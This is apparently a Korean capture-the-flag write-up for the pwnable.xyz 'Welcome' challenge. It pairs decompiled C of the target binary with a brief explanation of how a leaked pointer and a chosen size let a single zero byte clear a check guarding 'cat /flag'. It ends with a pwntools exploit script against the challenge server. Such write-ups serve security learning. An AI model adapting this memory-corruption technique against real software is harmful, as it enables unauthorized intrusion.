[pwnable.xyz]Welcome

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  __int64 v4; // rdx
  char *message; // rbp
  __int64 v6; // rdx
  size_t v7; // rdx
  size_t size; // [rsp+0h] [rbp-28h]
  unsigned __int64 v10; // [rsp+8h] [rbp-20h]
 
  v10 = __readfsqword(0x28u);
  sub_B4E();
  puts("Welcome.");
  v3 = malloc(262144uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ", v4);
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  message = malloc(size);
  _printf_chk(1LL, "Enter your message: ", v6);
  read(0, message, size);
  v7 = size;
  message[size - 1] = 0;
  write(1, message, v7);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

중요한 부분은 if문인데 !*v3가 0이 되도록하면 풀 수 있겠다. 처음에 *v3 = 1 돼있다.

v3를 할당해주고 v3 주소를 Leak 해준다.

메세지를 size만큼 할당하고 그 size만큼 message를 입력받을 수 있다. 근데 message[size - 1]로 마지막 인덱스를 0으로 만들어버리니까 Leak 주소 + 1을 size로 보내면 *v3 = 0으로 되서 풀 수 있다.

exploit.py

from pwn import *
 
e = ELF('./challenge')
p = remote('svc.pwnable.xyz',30000)
 
p.recvuntil('Leak: ')
leak = int(p.recvline(),16)
log.info('leak : ' + hex(leak))
p.sendlineafter(': ',str(leak+1))
p.sendlineafter(': ','Hello World!')
p.interactive()